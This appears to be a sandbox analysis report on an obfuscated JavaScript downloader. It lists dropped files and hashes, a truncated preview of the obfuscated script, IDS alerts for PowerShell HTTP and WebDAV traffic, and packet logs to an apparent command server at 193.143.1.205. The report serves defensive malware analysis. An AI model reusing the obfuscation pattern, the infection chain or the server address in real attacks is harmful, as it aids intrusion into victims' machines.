Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dd017127-7aa9-424f-a206-635dc77b258f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\fb19830f-774a-49df-8758-dd995bdce72b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17869), with CRLF line terminators
Entropy (8bit):	4.914786767801449
TrID:
File name:	5250250172915227960.js
File size:	21'475 bytes
MD5:	90196e05882d3803ebf6c7a8952718c7
SHA1:	27a8e22336c6c41a46d0e6039c6b3f055b4a0d49
SHA256:	618e529fb5aadd0c172d5cf5a3731bdc0aa59aea8729e68681a95b882ae91014
SHA512:	11701823386e77c4afcd8705620677846bc02f83d9091e3d271dc31e4751905745111a523f487b82c159b220aa3334ae81cc56d3d9531a2d454b925236402296
SSDEEP:	192:yaV0Gh6hVhpdjn6fQ/ORJXOfTOWMgXGnWX2TraaQ0QeN1ypQNd6QGUaRHdWaCUNx:Q9djn60YJ+rOxRN1YGif8RrJOSmu4
TLSH:	F9A2DDC8C351C2E20ED408F4A66389CF56E45ACC5ABD851B18E325C5E709DA2E2FD5FE
File Content Preview:	function zslctobqt(){pznmjngp=[1031,3079,5127,4103,2055,3072];var grgfvmx=this[zefktmqkf+wrozvg+ctlazjma+yipyi+mnhnxudp+yafhgnxc+xldiwfk+eahgtvhsv](this[edabdyac+zmhzzsro+acbjefy+ctlazjma+lemtkmxj+zefktmqkf+eahgtvhsv][rkenfsgmt+ctlazjma+mnhnxudp+wrozvg+ea

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:33:10.265856+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-10T23:33:13.412883+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:33:09.433770895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:09.438666105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:09.438752890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:09.441521883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:09.446419001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.265743017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.265809059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.265856028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.265858889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.265894890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.265929937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.265944004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.265964031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.265997887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.266000986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.266031981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.266077995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.266083002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.319078922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.323282003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.323332071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.323375940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.323426962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.367492914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.389856100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.389909983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.389923096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.389970064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.389970064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390006065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.390017986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390031099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390065908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.390078068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390090942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390130043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.390731096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390744925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390758038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390772104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390782118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.390806913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.390808105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.391558886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.391571999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.391582966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.391625881 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.391625881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.391639948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.391663074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.391683102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.392406940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.392421007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.392457962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.414325953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.414396048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.414431095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.414453983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.414469957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.414506912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.489315033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.489361048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.489398956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.489468098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.514081955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514098883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514151096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.514205933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514218092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514225006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514262915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.514297009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514309883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514353037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.514353037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514365911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514399052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.514936924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.514986038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515017033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.515079975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515103102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515114069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515131950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.515166044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515180111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515202045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.515769005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515782118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515798092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515801907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.515816927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515829086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515831947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.515841961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515855074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.515861034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.515888929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.516767025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.516782045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.516793966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.516805887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.516815901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.516818047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.516829967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.516841888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.516843081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.516864061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.517527103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.517555952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.517565966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.517569065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.517611980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.517638922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.517651081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.517663002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.517678022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.517682076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.517709017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.518501043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.518517017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.518527985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.518557072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.518562078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.518573046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.518584967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.518594980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.518598080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.518630028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.561525106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.580079079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.613925934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.613944054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.613956928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.614016056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.614027977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.614031076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.614092112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.614157915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.614167929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.614224911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.638458014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638509035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638521910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638576984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638593912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.638600111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638633013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.638659954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638672113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638693094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.638727903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638740063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638750076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.638761997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.638781071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.639597893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.639616966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.639628887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.639642954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.639656067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.639662981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.639666080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.639678001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.639678955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.639705896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.640492916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.640506983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.640517950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.640530109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.640532017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.640542030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.640547991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.640554905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.640568018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.640572071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.640609026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.641419888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.641433001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.641443968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.641458988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.641468048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.641470909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.641483068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.641494036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.641495943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.641514063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.642185926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.642199039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.642210007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.642231941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.642260075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.642270088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.642280102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.642291069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.642307043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.642342091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.642375946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.643230915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.643244028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.643255949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.643268108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.643280983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.643287897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.643292904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.643307924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.643342972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.643342972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.644160032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.644171953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.644182920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.644195080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.644205093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.644207954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.644221067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.644247055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.644258976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.644607067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.644645929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.644996881 CET	80	49709	193.143.1.205	192.168.2.6
